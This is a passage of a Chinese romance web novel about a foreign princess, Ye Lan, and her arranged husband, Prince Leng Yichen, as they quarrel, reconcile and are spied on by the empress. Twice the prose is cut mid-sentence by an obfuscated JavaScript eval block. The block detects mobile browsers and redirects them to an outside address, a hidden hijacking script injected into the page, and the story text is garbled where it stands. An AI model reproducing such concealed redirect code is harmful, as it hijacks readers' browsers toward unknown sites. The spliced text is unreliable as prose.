雪后清晨,天地一片苍茫。叶岚打开书房的窗户,空气袭进,清凉且清新。至此,她的这片天地便完整了。 侍女来报:厨娘已将早膳送了过来。殿下一早就走了,说今日路滑,军中有要务,就不等王妃用膳了。 叶岚这才发觉,原来每日早膳,是冷逸尘有意等她。不论是早是晚,都未说过什么。 但她从未关心过他的生活起居、行程安排,反而是他处处以她为紧要。 待他回来要去谢谢他。 7. 竹叶坏水色 当夜,冷逸尘没有回来。 北方的雪不似南方那般留不住。这样大的雪,这样冷的天,大约要等春天来了才能化掉。 次日,叶岚开砚润笔,试着在纸上写下“清和”二字,很是满意。 她在这个大大的祁国营造了一方小小的天地,一方只属于她自己的天地。她将带来的书卷亲自摆放到书架上,这将是她以后常伴的朋友。 午后,叶岚听云琴说花园里的红梅开了,便带着剪刀去了花园。白雪红梅,果然不俗。 叶岚也不急着回去,如此风雅,自然要玩赏一番。待到手指冻得通红才剪了两支带回去。 回到清和轩,叫云琴去找瓷瓶,她则去了书房。门一打开,只见冷逸尘似主人一般坐于书案前,手里拿着一卷书,是她之前看的《九域志》。 叶岚有种被冒犯的感觉:他何时来的,也不告知一声,此前他不允许她去他的书房,那么她的书房就可以随便进吗? 虽然这书房也是他帮助建的,可也是她的私人之地。叶岚思忖着:要找机会告知他一下才好。 冷逸尘听到开门声抬起头,“你回来了,这书房不错。” “崇宁王殿下,书房落成,还要多谢你的帮助。但是,烦请殿下,下次来的时先着人通报一声。”叶岚终究还是没忍住,当即撂下脸来,也不等什么时机了,先吐为快。 冷逸尘听了一愣,他未曾想她会因他的到来而不悦,起身说道:“额……是我……失礼了。”虽然嘴上这么说,可他却觉得自己并未做错什么,只是未提前告知而已。 叶岚未理他,兀自放下红梅修剪起来。云琴来送瓷瓶,见冷逸尘在,便借口去准备茶点退下了。 叶岚将红梅插入瓶内,置于案上,顿为书房填了不少雅致。 “我昨夜未归,是因为雪太大了。因婚礼耽搁的军中之事都已处理完,我今日便回府来住。”冷逸尘打破沉默,随口说着自己的计划。 “殿下请自便!”叶岚带着愠怒,语气像房檐下的冰锥一样寒冷尖锐。 显然,叶岚对他的行程并不关心。冷逸尘有些尴尬,不知再说些什么。再待下去也无甚意思,便找了个借口道:“我还有些事,先回去了。” 叶岚起身,但未相送。 晚膳依旧是厨娘送来。冷逸尘并未叫叶岚一起,只是遣人送来一盒冻疮膏,却被叶岚回绝了。 晚间,清和轩书房内,云琴一边裁纸一边说道:“公主今日对殿下太无情了些。” 叶岚于纸上临摹着梅花,并不抬头:“是他先讳了我的忌。” “可是公主,这书房、这王府都是崇宁王殿下的。这几日,奴婢见殿下待公主也算上心。再说,您也未曾向殿下言明他不能进书房。” “照你所说,便是我的不是了?”叶岚又增怒气,自己人竟也胳膊肘向外拐。 云琴忙放下手中的纸,跪下请罪:“公主息怒。” “起来吧,你说的也有道理,这王府是他的。可这书房是我的,这是我唯一能守住的一方天地了。” 叶岚叹了口气,接着说:“来时,我三哥便与我说过,我的一言一行都可能会影响到两国邦交。我虽然平日话不多,但也是说话自由。若套上’谨言慎行‘的枷锁,说句话都要思量半天,不如杀了我来的痛快。” 叶岚放下笔,拿起画的线稿,不甚满意,便团成一团扔进炭盆里,纸团瞬间化为一团火。 安如端了糕点进来,悄声说道:“公主让奴婢查的事,这几日已摸清楚了。这院里的这些侍女、婆子并没有宫里或者其他府里的人,都是军中调拨而来,而且都是外地人。据她们说,她们来王府也就三个月。那一日早晨殿下请您去用膳,并不是院中人通报,而是厨娘一直等在院外。咱们着实是冤枉殿下了。” 军中调拨而来,怪不得这些人都很安静,从未听过那些乱嚼舌根之事。三个月,三个月之前是什么时候呢? 叶岚思索了很久,她这短短十几日,犹如世上已千年。 三个月前她正待嫁,估计这王府也在准备接亲。这府中人手不足,宫中内务肯定要调配;亦会有人赠婢,或是想攀附、或是为了安插眼线。 冷逸尘为什么要从军中调配?难道仅仅是为了她?还是另有筹谋?若是前者,倒真是她小人之心了;若是后者,这冷逸尘为何会如此戒备? 现在看来,叶岚在梁宫时,是她的的母亲和安如把她保护的太好了,以至于猜不透背后的阴谋手段、波云诡谲。 而他三哥家,成王府里,自然是没有这些乱七八糟事。 她不能想象,冷逸尘此举背后花了多少功夫,各方势力又积蓄着多大阴谋。 虽然摸清了轩中情况,可未知之事让叶岚更难放下心结和戒备。 但她未言明,只是叮嘱安如和云琴:“这样说来,这轩中倒也安全些。防人之心不可无,日后还是要小心些。” 叶岚看着重画的线稿,依旧不满意,又将其扔进了炭盆。心绪不宁,落笔不稳。索性弃了笔,回寝殿安置去了。 她躺在榻上久久未能入睡。她想起与冷逸尘初见那一瞬,确实是心动了一下。几日相处,他对她颇为照顾,但更像是为了保全她,而未有它意。 可她对冷逸尘几乎没个好脸色,心中虽有不甘,迁怒他人却也是不对。 思来想去,叶岚觉得今日的确是她过分了。所谓投桃报李,如今她这般任性为之,实在不妥。 而且这清和轩终究还在王府之中、终究还要长期相处,树了敌也不好。以后再找机会缓和吧。 此时,冷逸尘书房内。冷逸尘顺手拿来了叶岚的《九域志》,正在翻看,泽生端茶进来。 冷逸尘说道:“这书是师兄的,上面还有师兄的批注。” 泽生放下茶水:“殿下何时也学会顺手牵羊了。” “一时生气,便忘了放下。这女子真是无情。” “公主哪有殿下说的那般无情,属下这伤还是公主亲自包扎的。再说,也莫怪公主不悦,之前是您不让公主进您的书房,您如今擅入公主的书房,不也是不对吗?” “我送的药膏都被她退回来了!不是无情是什么?反倒是你,这么快就被收买了?看来她的伤药挺管用的嘛。”冷逸尘将书朝泽生打去。 泽生顺手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073851|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接住。“如今属下越发不明白殿下了,若说您对公主无情,可为什么处处照拂?若说您对公主有意,那您与公主为何这般……这般……”泽生想半天也没想出个恰当的词来形容。 “这般什么?” “水火不容!”泽生觉得这个词非常合适。 “是她不容于我。回府几日了,她与我说的话还没有与你说的话多。” “殿下您算算,你们二人除了早膳时间,连面都不见,哪来的机会说话?”泽生开始按着自己的想象絮叨:“这几日,殿下为何每日来回奔波?甚至还想违了军纪。为何要告诉公主行程计划?莫不是对公主有意?” “人夫之责罢了。我……受师兄……”冷逸尘说这话,自己都没底气,不知为何,他总觉得每日见她一次方才安心。于是他换了个说辞:“她远道而来、无亲无故。” “公主可不是这么想吧。属下看这几日公主心情好的很,全然看不出有什么思乡凄苦。” “随她去吧。”冷逸尘起来活动一下,觉得不甚疲乏,说道:“行了,你去吧,我要安置了。” “这才几时?殿下今晚还睡在书房吗?” 冷逸尘点头。 “可今日素蕊姐姐已经问过属下两次了。” “说我军务繁忙。” “那是自然,殿下时时刻刻都军务繁忙。”泽生心里嘀咕:也不知换个别的借口! 泽生掩门而去,于夜色中放飞了一只信鸽。 两刻钟后,温德宫的掌事姑姑青黛进入皇后寝殿,低声说:“泽生消息,殿下与王妃今日发生口角,殿下很是不悦。” “可知为何?” “泽生说只因殿下去了王妃书房,王妃大怒。” “素蕊可有消息。” “素蕊说殿下早出晚归,日日处理机要,一直宿在书房中。” “真是辛苦尘儿了,改日送些补品过去,别让他熬坏了身子。” “是,奴婢听曹嬷嬷说,咱这王妃是有些脾气的。可赏梅那日及婚礼那几日却乖巧温顺,全然不如曹嬷嬷说的那般。” “既然是公主,定是娇生惯养的,刁蛮些也正常。她长在深宫中,心机自然也是有的。” “是,不能哪个公主都如咱们公主这般端庄稳重。” “那是自然,我的韵儿无人能及。”皇后提到冷秋韵,心中叹了口气:端庄稳重又如何,还不是背地里隐忍退让。 皇后继续说道:“尘儿那里不睦也好,日后有些事办起来也就少些顾忌。让素蕊盯紧些,咱祁国的子息不可有异国血脉。” “是。可婚礼那日的药,侍女并未亲眼见到王妃喝下。” “无妨,尘儿那点小心思瞒得了别人瞒不了本宫。之前这桩婚事他能这样痛快的答应,倒是出乎本宫意料。现在看来,他内心还是不愿的。”皇后揉了揉太阳穴,缓缓说道:“当年的事,已无人知晓。同意他出去游历,也是不愿让他见这些血雨腥风。终有一日他会理解本宫的苦衷。” 青黛劝慰道:“将来殿下会感念娘娘为殿下所做的一切。” 深夜至,寒风起,呼啸声令人心烦。 8. 千重雪难消 风吹了一夜,冷逸尘的书房终究不像寝殿那般温暖。第二日,冷逸尘染了风寒。 天未大亮,他只觉浑身酸痛恶寒,不多时便发起烧来。 泽生利落的将冷逸尘安排回了寝殿,又着人去宫里请了医官来诊治。 一番问切后,医官只说:连日劳累、又感风寒,所以症状重了些,几副药调养几日便可痊愈。 叶岚是早膳时才得知冷逸尘病了。她本想用完膳直接过去看看,但觉得空手不好,于是就回去做些软糯的糕点。 待她和云琴提着食盒来到冷逸尘的寝殿院外,正犹豫着要不要进去时,院门开了,泽生送了冷秋韵出来。 冷秋韵边走边对泽生说:“亏得母后送来的侍女,要不这寝殿里连个妥帖的人都没有。” 冷秋韵转头见了叶岚,笑道:“弟妹来了,我正巧在母后宫里,听闻逸尘病了,母后便命我过来瞧一瞧。弟妹倒是比我来的还晚些。” 冷秋韵虽然面色依旧和善,但言语间已经显示出了不满。 她必然已知道叶岚是刚刚来。夫君生病妻子却未陪伴在侧,到哪也说不过去。叶岚自知理亏。 正不知如何作答,泽生替她解了围:“回长公主,王妃知殿下没有胃口,便亲自去做了些吃食。”他眼睛瞟了一下食盒,示意叶岚。 幸而他在冷秋韵身后,冷秋韵并未察觉。 叶岚点点头。 冷秋韵笑了笑,拉过叶岚的手说道:“是我错怪弟妹了。这王府便是你的家,就不必如在宫中时那般拘谨了。去看看他吧,我就不打扰了。"说罢便离开了。 待泽生送客回来,见叶岚依旧站在门口。疑惑道:“公主,怎么不进去?” “多谢你刚才为我解围。”叶岚看着泽生未包扎的手,答非所问:“你的手可好了?” 泽生抬手看了一下,“哦,已经好了,公主的药比军中的还好用,多谢公主关怀。殿下他无甚大碍,休息调养即可。” 叶岚知道,冷逸尘定是没有什么大碍,若有便不是这般平静了。这里不需要她做什么了,她示意云琴拿过食盒,说道:“我倒是真的做了些点心小食,替我拿进去吧。” “公主不进去了吗?” 叶岚抬头看着院门上的牌匾--长风。她想起了刚到王府那日,冷逸尘说过的话。她摇了摇头,什么也没说便离开了。 泽生将点心带到寝殿内,并告知了冷逸尘院外发生的事情。 冷逸尘拿一颗粉色的糕点,看了好久:叶岚啊叶岚,你到底是个怎样的人呢? 叶岚回去继续临摹梅花,可总觉得画的有形无骨。她打算再去花园看看梅花。 一夜大风吹散了云,天空一片湛蓝。午后阳光无遮无拦的照在雪地上,折射出的碎光,晃的人有些睁不开眼睛。 叶岚站在梅花树旁,想起了书房里的梅花。那些花枝等到谢了便要被丢弃,还不如让它一直在这里,或许还能结出个果子来,或许明年还能再相见。 明年……明年又会是怎样呢? 她正想的出神,浑然不觉冷逸尘已站到了身侧。 冷逸开口,声音沙哑:“想什么呢?” 叶岚受一惊,看清来人后,侧身后退一步。 “吓着你了。” 叶岚摇摇,礼貌性的微笑一下。 “站在这里不冷吗?” 叶岚还是摇头。 冷逸尘带着些玩味的说道:“你怎么只会摇头或点头?不知道的,还以为是个哑女。” 泽生远远的听着,却只能干着急。他家殿下必是烧糊涂了,平日里也不曾这样,偏偏这时,三两句就把话聊死。 叶岚听了,不由怒火中烧,冷笑一声回怼道:“若是哑女便好了,清清静静的,听不到别人笑话。”说完狠狠的挖了他一眼,转身就离开。 冷逸尘显然没想到叶岚会发这么大的火,快步追上,拦在她身前,尴尬的清了清嗓子,说道:“我不是这个意思……嗯……点心很不错,谢谢。” “不用!!”提起来点心,叶岚更加生气,亏得她还想与他和平相处,巴巴的做了点心送去。他却转头就来讽刺她,真是屈辱。 冷逸尘转头看向梅花,想化解尴尬,于是说道:“都到寝殿门口了,怎么没进去?” 叶岚强压着怒火:“不是你说过吗?不许我踏足。怎么?这么快就忘了?” 没想到冷逸尘不相让:“怕是你误会,那日我只说‘书房机要之地,希望你不要踏足。’又没有说寝殿不允许你去。那是你自己说的……” 叶岚听了,又添了一层憋闷,真是抉瑕擿衅。她怒视冷逸尘,不想再与他纠缠,说道:“是本宫的不是,误会了殿下。”说罢转身想走,却被冷逸尘一把拉住。 可能是稍用了些力,冷逸尘剧烈的咳起来,手依旧抓着叶岚的胳膊,他边咳边说:“开个玩笑,何苦就当真了。” 叶岚用力拂去他的手,反驳道:“玩笑?倒是我无理取闹了。崇宁王殿下三番两次寻衅,可是觉得我好欺辱?还是觉我出现在这里就是个天大的玩笑?” 一时间,往事历历,心底压抑的委屈不甘,翻涌到了眼框中,她强忍着泪水,没在冷逸尘面前流下,甩袖而去。 冷逸尘这才意识到,当日的话和今日的玩笑,竟对她造成如此大的伤害,她对他竟如此戒备。 泽生口中的公主温和善良,怎么对他就如此无情,玩笑都开不得。 二人刚刚缓和的关系,又被冰封。真真应泽生的那句话:水火不容。 冷逸尘拿着《九域志》愣愣的站在雪地里,看着叶岚远去的背影。他本来是借着还书的理由来谢她的糕点的,没想到竟又成了这个样子。 泽生无奈上前:“殿下呀!回去吧。公主这次可是真生气了。”边说边想着此事还需告知一下皇后娘娘。 冷逸尘有些后悔,但又觉得自己只是玩笑开的有点大了,她倒也不至于这样。他叹了口气:“她倒是脾气大的很。” 泽生指出他的错误:“公主的脾气大,殿下的玩笑更大!” 回去后,冷逸尘从未觉得如此冤屈,主动示好,反遭一顿指责。他贵为皇子,向来他说什么便是什么,何曾受到过这样的对待。 即便是在长右山,也未曾遇见过如此带刺之人。如今竟不知如何是好了,怕是要有负师兄所托了。 泽生看透了冷逸尘的心思,他家殿下其他事情上杀伐果断,但这曲折婉转之事还得他来解决 泽生说道:“殿下今日真是病的神志不清了,这书还是由属下去还吧。” 冷逸尘想着,离正月十五不远了,十五过后便要去北地巡边,这事不解决,心里总像是压着块石头。于是,便任由泽生去处理。 泽生觉得,他家殿下有必要病得起不了床,公主心善,或许能放下嫌隙,来关心一二。 次日一早,泽生捧着书站在了清和轩门口。叶岚命人将他带进了书房。 泽生问安后说道:“殿下昨在花园受了风,病情加重,不能起身。特命属下将书送还。”说罢双手奉上了《九域志》。 叶岚今日神色有些憔悴,她示意云琴接过书。心中虽不平,但也未向泽生发难:“这书找了几日都未曾找到,原来是他拿走了。书已收到了,回去吧。” 泽生并不走:“殿下昨日是去找您还书的。” 叶岚放下笔:“既是来还书的,又说些阴阳怪气的话做什么?” “殿下是见公主远离故土,终日闷闷,想开个玩笑为公主排解一下心绪。没想到弄巧成拙。这其中是有误会的,殿下对公主从未有过敌意。” 叶岚自是知道冷逸尘对她无敌意,是她有些借题发挥了。但每每见到冷逸尘,便想起诸多事来,令她觉得他每一句话都别有它意。 叶岚心中清楚,纵然冷逸尘说话有不妥之处,可主要问题还在于她。如今冷逸尘又来缓和关系,便顺水推舟吧。她说道:“原是我误会了……你家殿下如何了?” 泽生脸不红心不跳的说:“已躺了半日未起身了。” “叫他好生休息,我得空了再去看他。” 泽生见有转机,便也不再多说什么,告辞而去。 下午叶岚带着点心进了长风阁,到了寝殿中。 屏风后,冷逸尘只着了亵衣靠在床上。素蕊跪于脚踏上,一手端着碗,一手拿帕子为冷逸尘擦着嘴角。 素蕊见叶岚进来,忙放下药碗,过来行礼。 冷逸尘整理了衣衫,坐正了身子,面露欣慰的说道:“你来了,怎么也没人通报。” 见此情此情,叶岚的心又是狠狠的一跳。强绷着脸不让它变长,心想:若通报了,便看不见这昭昭春日、灼灼桃花了。 她转身到了屏风后,说道:“本宫来的不是时候,先告辞了。”说完便向殿门走去。 真是余波未平,又填一澜。 冷逸尘屏退素蕊,赶紧起身快步走到门口,拦住了叶岚。将她拉进了殿内,说道:“今日之事,我日后再向你解释。昨日之事是我不好。” “昨日之事已过、今日之事也不必解释。你寝殿的事我不过问。你她既是自幼就跟着你的,不如趁早给个名分,也不用这般藏着掖着的。”叶岚今日不想做什么计较,但语气还是阴阳怪气。 “你误会了,我没有这个意思,也不会这样。” 叶岚并不看他:“昨 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冷逸尘提酒进书房,还未开口,就听叶岚冷冷的说道:“你这是病好了?又来给我添堵?” “今日我是来赔不是的。” 叶岚积怨已深,很是不满,有笔杆敲了敲酒坛:“就一坛酒?” 冷逸尘将泽生的话全然忘记,看着未完的梅花,忽然想起来什么,说道:“我们……出去走走?” 叶岚一口回绝。 冷逸尘告知地点:“城郊三清观有一片梅园。” 叶岚一下动心。她抬头看了看窗外,到祁国快一个月了,还从未没有出去过。今日天气好,出去走走也是不错了。但她有些放不下面子。 冷逸尘不放弃:“梅花开的正盛……” 叶岚心中叹了口气,说服自己:关系还是要去缓和。于是说道:“也好,正好手酸了。” 路上积雪未化,道路光滑,马车行的很慢,二人一路无语。 走了将近一个时辰,终于到了三清观。二人一同拜了三清后,冷逸尘带叶岚来到了观中后院。 后院连山,梅树自观中向山坡上迤逦散开。远远便是一股寒香拂面,各色梅花如胭脂淡抹,映着雪色,尽显傲骨。 叶岚自然是开心,在梅林中慢慢走着。 冷逸尘看着叶岚的背景,嘴角忍不住一丝微笑,脚步也不由得跟上前去。他折了两朵梅花,插到了叶岚发髻上。 叶岚对这举动有些惊讶,不知所措的摸摸了发髻。 冷逸尘看着发髻间梅花,说道:“前几日的事,向你道歉。我只是想与你缓和一下关系,可不知为何总是弄巧成拙。我从未与女子交往过,不知如何讨得女子欢心。你放心,我既娶了你,便会一心待你。” 听到这话,叶岚不知怎的竟有些失落,心想:大概不论娶谁,他都会一心相待吧。不过,如此甚好。 她也将心中所想说出:“我只求能在这里能安稳度日。”说罢她抬头正对上冷逸尘的目光。 冷逸尘眼中带着温柔的笑意,说道:“好看……” 这目光竟让叶岚的心有些乱,转头看向梅花说道:“梅花映雪,自是纯洁宁静。” 冷逸尘也自觉失态,转了话题:“梅花画好了吗?” 叶岚摇头。 “梅花风骨最为难画,不急,还有很多时间。等你画好了,送我一幅可好?” 叶岚点点头。 冷逸尘已经习惯了叶岚这种沉默。他看着叶岚昨日与今日的不同,心中恍然:原来,有些事越是急切就越容易出错,倒不如顺其自然。 二人默然缓行,将这梅林欣赏了一遍。 北风渐起,冷逸尘不时的咳嗽。叶岚担心他愈发严重,便说道:“回去吧,天冷了。” 冷逸尘微笑点头。 看着二人如此和睦的相处,泽生为自己的聪明才智感到骄傲。 泽生是五年前被皇后选中,安排到冷逸尘身边做贴身侍卫的。冷逸尘入长右山,他一直在山下暗中护卫。 后来,皇后总觉得冷逸尘大了,有自己的心思了,有些事不愿再同她说。便告诉泽生,让他留意冷逸尘的起居言行,若有什么事及时告知她。泽生清楚,这是让他做眼线。 可是冷逸尘于他亦主亦友,他不会背叛他,可皇后那边也不能得罪。于是,他时不时的将一些无关紧要的事夸大其词后报给皇后,偶尔他还会报一些桃色消息。 冷逸尘只恨他毁了自己的“清誉”。 双向细作,换做是别人定是终日惶惶,寝食难安,可泽生却乐在其中。 9. 明月隔千里 正月十五,例行宫宴,循规蹈矩,一片祥和。 叶岚疏于交际,与众人大多不相识,只是安静的坐着,百无聊赖。 终于熬到了宫宴结束,踏上回程。马车里叶岚捶了捶肩膀,只觉身体僵硬。 元宵灯会,市井间热闹非凡。叶岚想掀开车帷看看,又怕冷逸尘笑话。只得一直看着帷幕,等风吹过或者车轮颠簸时,透过帘子的缝隙看一看。 冷逸尘看出来她的小心思,叫停了马车,对叶岚说道:“陪我下去看看,难得赶上这么热闹。” 叶岚当然同意。 元宵灯会,人如潮涌。盛世太平,家国同欢。 二人下车随着人流前行,泽生与云琴跟在后面。 叶岚看这繁盛,想起了那年元宵节叶皓带她去游灯会的事。和现在的情景有些相似,只是那时她身边是叶皓,身后是云琴和秦羽。 那年元宵节,是她第一次认识了江源,是秦羽被叶皓责罚,是秦羽与云琴之情的开端。 说是那年,其实只是前年而已。这两年发生了太多事情,让人感觉岁月悠悠。 冷逸尘见叶岚没了笑容,问道:“可是不喜欢热闹?” 人声杂乱,叶岚并没有听清,只知道冷逸尘在对她说话,她只以微笑回应。 冷逸尘忽然拉起她的手,走出人流,于僻静处站定。问道:“可是不喜欢热闹?” 叶岚点头。低头时看见她手还被冷逸尘的手掌包裹着,赶紧抽了回来。 她意识到可能是自己打扰了冷逸尘观灯,于是说道:“你去看灯吧,我不喜欢热闹,先回马车等你。” 没想到冷逸尘说:“我也不喜欢热闹,带你去个地方。” 二人来到了鼓楼之上,整个大街的繁华尽收眼底。 彩灯熠熠生光辉,无人回眸见月痕。 空中明月孤零零的照着人间,就如此时孤零零的叶岚。她沉浸在自己的离情之中。 美人迈兮音尘阙,隔千里兮共明月;临风叹兮将焉歇?川路长兮不可越。 明月啊明月,可将我的这片思念带给我的亲人? “给……”冷逸尘的声音响起,打断叶岚的思绪。 叶岚转头,见他递上了一个玉兔形制的花灯。抬头,看见了他略带担忧的笑意。他的笑很好看,如三月和煦的春风,会吹散一切寒冷与黑暗。 冷逸尘温暖的笑意和花灯里柔和的烛光都给了叶岚温暖,她转头拭掉眼角的湿润,笑着道谢。 冷逸尘为叶岚紧了紧大氅的领口,叶岚没有拒绝。 夜风渐起,叶岚想起冷逸尘还未痊愈,便提议回去。 回到王府,冷逸尘将叶岚送到清和轩门口。叶岚摇摇手里的花灯,对冷逸尘说道:“今天……多谢” 冷逸尘脚步滞涩,顿了一顿说:“不请我……喝杯茶吗?” 叶岚心中一紧,今夜着实是过于暧昧了,不是这样的。她抬头看看月亮已升至半空,委婉拒绝:“今日有些累了,改日请你。早些回去休息吧。”说罢快速的进门去了。 留下冷逸尘一人发呆,直到泽生叫他,他才回过神来。 回到书房,冷逸尘回想今日的事,一会皱眉一会傻笑,书很久没有被翻页。泽生看着直摇头。 祁帝有意历练冷逸尘,早已下旨将他派去北境巡边,过几日便要启程。 冷逸尘从军中调配了亲军更换了王府防守,又暗中布置了暗卫。 出发那天叶岚没有送他,只谴了云琴送了些糕点。 冷逸尘在前厅等了很久,待军士催了三遍,不得不走时,他放弃了,快马向军营而去。 叶岚也想去相送,可她不知道要如何同他告别。离别多么伤感的事情,她最终还是没能迈出这一步。 冷逸尘走后,叶岚反而松了一口气:生活一切照旧。 谁料当日下午,宫里的曹嬷嬷就来了。真是树欲静而风不止。 此次她来目的有三:其一,崇宁王新婚未过月,便领命外出,皇后娘娘特命其来宽慰王妃;其二,皇后娘娘命医官来为王妃诊脉,调理身体;其三,恐王妃身边之人服侍不周,安排素蕊来服侍王妃。 既是皇后之命,叶岚哪里能违抗。 医官切了脉,说是脾胃虚寒、气血不足,需慢慢调理。待医官开了方子,曹嬷嬷安排了素蕊煎药等事宜后,带着一众人离开了。 这日后便是每日两碗苦药,叶岚想想便头疼。她想起了冷逸尘,这次可没人帮她将药倒掉了。 每日早、晚膳后素蕊将药端来,亲眼看着叶岚将药喝完,准时准刻,从不有误。 喝了三日,叶岚觉得不病死也得被这药苦死。于是素蕊再端药来,便对她说:“这药太苦了,先停一段时间吧。” “王妃,医官叮嘱过了,要按时按量。这药用的都是上好的药材,一个疗程便会见效,王妃且再忍耐些。” “医官可有说,一个疗程是多久?” “回禀王妃,一个月。” 叶岚听了有些头晕,这才刚刚开始。她必须为自己再争取一下:“我的身体没有什么问题,不需要这些调理。反倒是这药,日日苦的难受。” 素蕊端着药走近一些,说道:“王妃,良药苦口。给您诊脉的医官是为皇后娘娘调理身体的医官,医术高超。皇后娘娘体恤王妃,特命他来为王妃调理身体,也是为王妃身体康健,王妃不要辜负娘娘的一片心意。” 素蕊搬出皇后来,叶岚很是不悦,一口气喝了药。素蕊又服侍叶岚漱了口,托着蜜枣给叶岚,叶岚并未接,起身打量起素蕊。 素蕊手托着装蜜枣的碟子,低眉顺眼,一动也不敢动。 叶岚心中叹了口气,来硬的只能让自己更受罪,大丈夫能屈能伸。她拿过一个蜜枣吃下后,缓缓的说:“素蕊啊,你是什么时候跟着崇宁王的?” “回禀王妃,五年前。” “这么长时间了。算是幼时相识,青梅竹马。” 吓得素蕊赶紧跪下请罪:“素蕊只是普通的宫婢,出身卑贱,不敢与殿下并论。” “本宫并未说什么,你何至于这样。你温柔体贴,办事周到,殿下是极看重你的。你也有二十了吧,也快到了外放的年龄了吧。” 素蕊继续叩首:“素蕊只想永远服侍王妃和殿下。” 叶岚坐回原处:“起来吧。即便你是这样想,可规矩就是规矩。若你愿意,待殿下回来,我会替你去筹谋。若你不愿意,我不会耽误你。毕竟咱们女子也就这几年好年华。” 素蕊听了有些惊喜,此时不抓住机会更待何时?她连忙叩首:“素蕊……愿意,全凭王妃做主。” 叶岚笑道:“如此甚好。忙了半日了,去休息吧。” 素蕊退下后,叶岚命云琴倒了那碟蜜枣。 出了叶岚寝殿,素蕊简直要喜极而泣。她本是小康人家之女。幼年时,也是衣食无忧,奈何父母不善经营,家中日益衰落。 她五年前入宫为婢,被分配到长宁殿。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073853|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总觉自己的出身、才情、学识比旁人要高,便心高气傲些,处处拔尖。 刚到长宁殿,长宁殿的主人冷逸尘便出门游学去了,此后只在过年回来几日。长宁殿终年无主,便削减了中官、侍女人数。 素蕊自留心思:宫女到年龄便外放,此后将日日为生活操劳奔波;若得皇子青睐,衣食无忧不说,日后封嫔封妃也未可知。于是她便一直在长宁殿坚守,熟不知这一念断送了她的一生。 冷逸尘回来那几日,她也是殷勤备至,奈何冷逸尘视而不见。她想:这世上哪有这样就轻易得来的事,若放弃,便再不会有机会。她似乎赌对了,冷逸尘游学回来,长宁殿又热闹起来。 皇后找到她,称她一片忠心,封她做了殿中领头侍女,并承诺:照顾好了殿下,将来自然不会亏待她。她以为多年的付出终于有了回报。 可时间不长,冷逸尘又去了沙场磨砺,后来封了崇宁王建了府邸,还传出了要与梁国公主成亲的消息。正当她失望之时,命运之神又眷顾,皇后又把她安排到了冷逸尘身边。 虽说她是冷逸尘身边旧人,可也未与冷逸尘有多长时间的相处。她担着这个“自幼服侍”的虚名,想此次说什么也要抓住机会。 她自知是皇后的工具,再艰难也要为自己争得一席之地,否则就枉费了这些年的青春。 虽入了王府,也到了冷逸尘寝殿,可依旧日日不见冷逸尘。好不容易等到了冷逸尘生病,才有了机会,不料首次殷勤就被王妃瞧见了。万幸,王妃并未责难。如今,王妃主动提出,她便觉得是要“守得云开见月明”了。 先前素蕊听闻妃刁蛮,可见了几次只觉王妃沉默少言,待人和善,便认为谣言不真。如今利令智昏,竟没察觉叶岚是故意为之。 叶岚见素蕊搬出皇后时,知道硬碰是没有用的,或许还会将事情闹大,不如先收买她。叶岚也未曾想到竟这般容易,她的话,正击中素蕊的三寸。 此后,果然素蕊减少了药量。 虽然药量减了,可喝到了第七日,叶岚招架不住了,每次喝完便胃部不适大口呕吐,最后吐出了血丝。 无奈,曹嬷嬷又带着医官来诊治,开了新药方,依旧要素蕊盯着日日服用。 冷逸尘自从知道了皇后为叶岚开了药,知这药必是对身体有害的。便开始想办法让叶岚停了这药,奈何路途遥远,传个消息也需几日时间,他甚是心急。 二月初,泽生回来了一趟,带走了素蕊。 素蕊拜别叶岚:“殿下染恙,命奴婢前去侍疾,不能再服侍王妃了,奴婢舍不得王妃。” 叶岚看不出她哪里有不舍,但还是要陪她演戏:“你原就是他寝殿的人,叫你去便去吧。你且好生服侍,本宫这里你放心。” 叶岚拉着素蕊的手,对她点头示意。其实叶岚心里兴奋无比,巴不得她快些离开,就再也没有人监视她喝药了。 这一举动把泽生看得一愣一愣的,公主何时与情敌成了好姐妹。这公主是真大度呢?还是有点傻呢? 素蕊叩了三个头,飞也似的随泽生去了。 叶岚兴奋劲过后,反而有些难过和失落。难过的是:素蕊此去,必然是冷逸尘的人了。失落的是:冷逸尘怎么又病了,或是上次的病未痊愈,他没有告知她,却调走了素蕊。 但又转念一想:这又有什么呢,他们是自幼就认识,而她与他才认识多久!如今可以安稳过日子了,随他们去吧。 晚间,一道飞镖进了叶岚寝殿内。 10. 谋算局中局 这只飞镖惊的云琴叫出声来。叶岚倒是镇定,王府防守严密,若有事情外面早就会有动静。 叶岚拔下飞镖,上面绑着一张小字条:“公主万安,漏夜不便相见。殿下偶染风寒,无甚大碍。素蕊此去,乃皇后安排,公主切莫误会。此事机密,看完即焚,泽生。” 看完字条,叶岚顿觉周身轻松,心里各种杂念全消。 她又将字条看了一遍,细细思考,有些不解:素蕊不是被皇后安排监视她喝药的吗?怎么又调去了冷逸尘处? 但转念一想,自然是自己的孩子要紧,又或者是借这此次机会给二人相处的机会、让素蕊永留在冷逸尘身边。 他们的事,多想也无益,叶岚将纸条投进暖炉后便去睡了。 日子照旧,叶岚偶尔也会担心冷逸尘,可想到有泽生和素蕊在,就不会有什么事。 素蕊回来要给她个什么名分?将她安排在哪里居住呢?这也不是她该考虑的事。何苦想这么多!过好自己的日子比什么都强。 